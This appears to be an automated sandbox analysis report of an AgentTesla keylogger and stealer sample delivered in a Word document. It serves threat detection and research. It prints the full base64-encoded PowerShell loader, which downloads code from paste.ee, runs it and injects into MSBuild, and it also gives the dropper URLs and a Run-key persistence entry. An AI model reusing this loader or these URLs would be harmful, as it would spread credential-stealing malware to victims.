agenttesla | 29ffab1945140b3023abfa94dcca51b72dca9473dc5ccead086bef6205b37265

General

Target

29ffab1945140b3023abfa94dcca51b72dca9473dc5ccead086bef6205b37265.doc
Size

413KB
MD5

d41a4bf9b84f42a0d085687bbabcd93b
SHA1

afceb4f7b9755ec3193d797d2f13eb8d7dbed317
SHA256

29ffab1945140b3023abfa94dcca51b72dca9473dc5ccead086bef6205b37265
SHA512

a5d99ac141cde94f2d5041a9ad0db338e72cc4d0e50043f03df1e18d8376795739cd13826999a209c983baeee598cd21d7b64898c33d27466805e180477b5fa5

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

httP://paste.ee/r/3rgRS

ps1.dropper

httPs://paste.ee/r/fgIgt

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 4 IoCs

resource	yara_rule
behavioral1/memory/1936-7-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla
behavioral1/memory/1936-8-0x0000000000446E9E-mapping.dmp	family_agenttesla
behavioral1/memory/1936-9-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla
behavioral1/memory/1936-10-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	316	EQNEDT32.EXE
7	316	EQNEDT32.EXE
9	316	EQNEDT32.EXE
13	1620	powershell.exe
14	1620	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1524	908.exe

Loads dropped DLL 1 IoCs

pid	Process
316	EQNEDT32.EXE

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\Myfile = "C:\\Users\\Admin\\AppData\\Roaming\\Myfile\\Myfile.exe"	MSBuild.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1620 set thread context of 1936	1620	powershell.exe	31

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
316	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
900	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1620	powershell.exe
1620	powershell.exe
1936	MSBuild.exe
1936	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	908.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	1936	MSBuild.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
900	WINWORD.EXE
900	WINWORD.EXE
1936	MSBuild.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 316 wrote to memory of 1524	316	EQNEDT32.EXE	27
PID 316 wrote to memory of 1524	316	EQNEDT32.EXE	27
PID 316 wrote to memory of 1524	316	EQNEDT32.EXE	27
PID 316 wrote to memory of 1524	316	EQNEDT32.EXE	27
PID 1524 wrote to memory of 1620	1524	908.exe	30
PID 1524 wrote to memory of 1620	1524	908.exe	30
PID 1524 wrote to memory of 1620	1524	908.exe	30
PID 1524 wrote to memory of 1620	1524	908.exe	30
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31
PID 1620 wrote to memory of 1936	1620	powershell.exe	31

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\29ffab1945140b3023abfa94dcca51b72dca9473dc5ccead086bef6205b37265.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:900

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:316
- C:\Users\Public\908.exe
  C:\Users\Public\908.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvADMAcgBnAFIAUwAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AZgBnAEkAZwB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Exploitation for Client Execution

1

T1203

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1524-20-0x00000000077A0000-0x00000000077A1000-memory.dmp

Filesize
4KB

Download
memory/1524-21-0x00000000077A0000-0x00000000077A1000-memory.dmp

Filesize
4KB

Download
memory/1936-10-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1936-9-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1936-7-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download

Analysis

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